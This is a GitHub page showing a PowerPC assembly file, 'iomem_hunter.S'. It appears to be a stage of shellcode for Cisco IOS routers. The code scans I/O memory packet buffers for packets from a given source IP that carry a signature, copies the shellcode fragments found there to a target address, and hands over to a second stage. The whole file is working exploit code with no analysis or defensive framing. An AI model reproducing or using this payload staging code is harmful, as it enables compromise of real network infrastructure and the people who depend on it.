-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathiomem_hunter.S
120 lines (95 loc) · 2.82 KB
/
iomem_hunter.S
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#**************************************************************************/
# */
# external declarations */
# */
#**************************************************************************/
.globl _start
#**************************************************************************/
# */
# section declaration */
# */
#**************************************************************************/
.section ".text"
.equ SIGNATURE, _SIGNATURE
.equ COPY, _COPY
.equ OFFSET_IOS_15, 0xB0
.equ OFFSET_IOS_12, 0x80
.ifdef IOS_15
.equ OFFSET, OFFSET_IOS_15
.endif
.ifdef IOS_12
.equ OFFSET, OFFSET_IOS_12
.endif
.equ IPHDR_SIZE, 40
_start:
# mr r19, r3 # start of the IO-memory region
# mr r21, r4 # size of shellcode
# mr r22, r5 # source ip
# mr r25, r6 # destination address (address to which the shellcode will be copied)
# li r20, 0 # cur_size
# li r24, 0 # cur_ip_id
b check_cur_size
# ---------------------------------------------------------------------------
next_pass:
mr r31, r19
b next_block_2
# ---------------------------------------------------------------------------
proc_block:
addi r11, r31, OFFSET
lwz r0, 0xC(r11)
cmpw cr7, r0, r22
bne+ cr7, next_block
cmpwi cr7, r24, 0
lhz r5, 2(r11)
bne cr7, first_block_found
lis r9, SIGNATURE@h
mr r10, r11
ori r9, r9, SIGNATURE@l
add r8, r11, r5
b loc_74
# ---------------------------------------------------------------------------
loc_64:
lwz r0, 0(r10)
cmpw cr7, r0, r9
beq cr7, calc_cur_block_size
mr r10, r3
loc_74:
cmplw cr7, r10, r8
addi r3, r10, 4
blt cr7, loc_64
b next_block
# ---------------------------------------------------------------------------
calc_cur_block_size:
add r9, r11, r5
lhz r24, 4(r11)
subf r9, r10, r9
addi r9, r9, -4
b copy_block
# ---------------------------------------------------------------------------
first_block_found:
lhz r0, 4(r11)
cmpw cr7, r24, r0
bne+ cr7, next_block
addi r9, r5, -0x28
addi r3, r31, (IPHDR_SIZE + OFFSET)
copy_block:
lis r0, COPY@h
mr r4, r25
ori r0, r0, COPY@l
srwi r5, r9, 2
mtctr r0
add r20, r20, r9
addi r24, r24, 1
add r25, r25, r9
bctrl
next_block:
lwz r31, 0x14(r31)
next_block_2:
lwz r0, 0x14(r31)
cmpwi cr7, r0, 0
bne- cr7, proc_block
check_cur_size:
cmpw cr7, r20, r21
bne cr7, next_pass
stage2:
# End of __start